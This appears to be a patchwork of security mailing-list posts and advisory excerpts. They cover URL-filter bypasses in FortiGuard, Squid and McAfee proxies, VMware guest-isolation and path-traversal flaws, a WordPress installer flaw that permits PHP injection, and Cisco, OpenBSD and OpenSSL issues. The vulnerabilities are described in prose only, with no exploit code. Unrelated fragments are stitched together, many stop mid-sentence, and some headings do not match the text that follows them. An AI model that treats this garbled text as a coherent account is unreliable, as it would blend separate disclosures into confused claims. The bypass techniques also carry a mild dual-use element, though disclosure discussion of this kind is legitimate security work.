FortiGuard: URL Filtering Application Bypass Vulnerability

Description:
"Fortinet's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that fulfill 3 factors:

1.- HTTP Requests are terminated by the CRLF characters.
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
3.- Finally, by Fragmenting the GET or POST requests

RE: McAfee Web Gateway URL Filtering Bypass

??

I'm unclear - exactly how does an ICMP echo cycle have anything to do with the apparent disparity between the host portion of the CONNECT URI and the contents of the host header?
I can see the logic in :
1. comparing the HOST header to the host portion of the CONNECT URI 
2. resolving either to a name or IP address (depending on its original state) 
3. comparing the resolved results to each other (DNS RR records will be an interesting case)

The thing to bear in mind is that reverse resolution (IP-to-name) on the Internet tends to be flaky to the point of completely useless.
There are two main problems:

CORE-2007-0930 Path Traversal vulnerability in VMware's shared folders implementation

Among the many reasons that promote the adoption virtualization
technologies, one of the most commons today is the promise of an improved
information security posture due to the implied isolation between multiple
virtualized systems (referred as Guest systems) and the non-virtualized
systems controlling the virtualization hardware and software (the Host
system) [1].

Consequently, software bugs that could allow potential attackers to
invalidate the premise of effective isolation between Host and Guest
systems are considered security vulnerabilities with a potentially high

RE: Squid URL Filtering Bypass

To be clear, the CONNECT request is a single request/response cycle  between the client and the proxy.  Any request body is nonsensical and should be ignored by the proxy (or the request can be rejected if the proxy wants to be pedantic).  There is nothing that explicitly disallows inclusion of the host header in a CONNECT request.  Granted, including the host header incurs some degree of ambiguity (the FQDN may resolve to the IP address, but the IP address is not guaranteed to resolve to the FQDN), but this is clearly a debatable choice on the developer's part as to whether it should be used to determine traffic policy applicability for this request.

The proxy should only ignore further data between the client and remote if the proxy successfully established a TCP connection between them on the specified destination port.
IOW, if the client sends a CONNECT request that the proxy policy allows, the proxy should either queue or reject further communication from the client until the TCP connection has been successfully established and the proxy has responded to the client with "HTTP 200".
If the connection attempt fails, the proxy should provide an HTTP error response to the client and close the client-to-proxy connection.

Likewise, while the proxy does establish the end-to-end TCP connection between the client and upstream server, it is not responsible for any part of the encryption that may be involved in that communication - unless it specifically offers a "trusted MitM" feature such as TMG HTTPS Inspection or Juniper SSL Forward Proxy (other vendors have similar features).

Also, whether the McAffee proxy allows translating normal HTTP methods to CONNECT, then tunneling them to the upstream proxy is irrelevant to the question of whether the local proxy actually uses the host header or the host portion of the CONNECT request to determine policy applicability.


Cisco Security Advisory: Cisco IOS Software Mobile IP and Mobile IPv6 Vulnerabilities

Details
=======

Mobile IP is part of both IPv4 and IPv6 standards. Mobile IP allows a
host device to be identified by a single IP address even though the
device may move its physical point of attachment from one network to
another. Regardless of movement between different networks,
connectivity at the different points is achieved seamlessly without
user intervention. Roaming from a wired network to a wireless or
wide-area network is also possible.

*Vulnerability Description*

OpenBSD’s DHCP server, dhcpd, implements the Dynamic Host Configuration
Protocol (DHCP) [1] and the Internet Bootstrap Protocol (BOOTP) [2].  DHCP
allows hosts on a TCP/IP network to request and be assigned IP addresses,
and also to discover information about the network to which they are
attached.  BOOTP provides similar functionality, with certain restrictions.


Re: VMWare poor guest isolation design

Hi there,

First of all - please forgive me, I'm not a developer and I don't use
the automation API. However, I use VMware a lot for development. I
have a Windows XP host machine and I use VMware to develop Linux code
(Debian Etch, Linux 2.6).

VMware poor guest isolation design

Hash: SHA256

*Summary*

VMware VIX API 1.1 supports an option that allows users with privileges
on the host machine to execute programs on a guest operating system
under the identity of a user currently logged into the guest. For
example, if user A powers on a virtual machine (VM) and logs into the
guest operating system, then a user B who has privilege on the host
machine to connect to that VM can also write scripts that will
anonymously run programs in the VM guest operating system as user A.

TWSL2012-002: Multiple Vulnerabilities in WordPress

CVE: CVE-2011-4899

The WordPress 'setup-config.php' installation page allows users to install
WordPress in local or remote MySQL databases. This typically requires a user
to have valid MySQL credentials to complete.  However, a malicious user can
host their own MySQL database server and can successfully complete the
WordPress installation without having valid credentials on the target system.

After the successful installation of WordPress, a malicious user can inject
malicious PHP code via the WordPress Themes editor.  In addition, with control
of the database store, malicious Javascript can be injected into the content

Hello,

We might be able to fix this by simply doing a ping to the website
before connecting, so that the IP of the host specified matches the
connect field. In any case, the consistency of the host and connect is
indeed a big design flaw.

all user and host keys generated using broken versions of the openssl

Interestingly enough, OpenBSD uses a flavor of this PRNG for
another field, this time the IP fragmentation ID, part of the
OpenBSD kernel network stack. The analysis carries out quite
similarly to show that OpenBSD's IP ID is predictable as well,
which gives way to O/S fingerprinting, idle-scanning, host alias

VMWare poor guest isolation design

I have run across a design issue in VMware's scripting automation API that
diminishes VM guest/host isolation in such a manner to facilitate privilege
escalation, spreading of malware, and compromise of guest operating systems.

VMware's scripting API allows a malicious script on the host machine to
execute programs, open URLs, and perform other privileged operations on any
guest operating system open at the console, without requiring any
credentials on the guest operating system. Furthermore, the script can
execute programs even if you lock the desktop of the guest OS.


RE: VMWare poor guest isolation design

the issue. There are many, many situations where someone would want to
access a vmware guest via the console and not allow any network access at
all. One that comes to mind is an offline root CA that you can only fire up
only when you need it--a virtual offline machine. Another situation for
myself is I keep all my hacking/pen-testing tools on a vm that I can use
when I need them, and quickly move to any vm host I need to run them on. I
don't necessarily want to make that virtual machine accessible from the
network. Anyway, it is absurd to say you will never log in to the console,
sometimes you just have to. 

Whether it affects you personally or not, it certainly is helpful to know
